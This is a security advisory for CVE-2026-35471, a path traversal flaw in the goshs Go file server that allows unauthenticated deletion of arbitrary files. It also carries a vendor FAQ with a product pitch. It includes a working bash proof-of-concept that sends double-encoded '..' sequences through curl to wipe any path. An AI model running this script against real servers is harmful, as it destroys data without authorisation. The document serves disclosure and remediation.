CVE-2026-35471

• deleteFile() missing return after path traversal check | httpserver/handler.go:645-671

The finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/handler.go:645-671
Trigger: GET /<path>?delete (handler.go:157-160 dispatches to deleteFile)

The function detects .. in the decoded path but does not return.

func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
    upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))

    fileCleaned, _ := url.QueryUnescape(upath)
    if strings.Contains(fileCleaned, "..") {
        w.WriteHeader(500)
        _, err := w.Write([]byte("Cannot delete file"))
        if err != nil {
            logger.Errorf("error writing answer to client: %+v", err)
        }
        // BUG: no return, falls through to os.RemoveAll
    }

    deletePath := filepath.Join(fs.Webroot, fileCleaned)
    err := os.RemoveAll(deletePath)  // always executes

Root causes:
Missing return after the guard makes the check dead code

Impact: Unauthenticated arbitrary file/directory deletion.

PoCs:

#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"

# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%252e%252e/"
done

# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")

URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"

echo "[*] Target:  ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")

echo "[*] HTTP ${HTTP_CODE}"

To execute it: ./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-35471 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.1.5-0.20260401172448-237f3af891a9); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-35471? CVE-2026-35471 is a critical-severity path traversal vulnerability in github.com/patrickhener/goshs (go), affecting versions < 1.1.5-0.20260401172448-237f3af891a9. It is fixed in 1.1.5-0.20260401172448-237f3af891a9. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-35471? CVE-2026-35471 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/patrickhener/goshs are affected by CVE-2026-35471? github.com/patrickhener/goshs (go) versions < 1.1.5-0.20260401172448-237f3af891a9 is affected.
4. Is there a fix for CVE-2026-35471? Yes. CVE-2026-35471 is fixed in 1.1.5-0.20260401172448-237f3af891a9. Upgrade to this version or later.
5. Is CVE-2026-35471 exploitable, and should I be worried? Whether CVE-2026-35471 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35471 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35471? Upgrade github.com/patrickhener/goshs to 1.1.5-0.20260401172448-237f3af891a9 or later.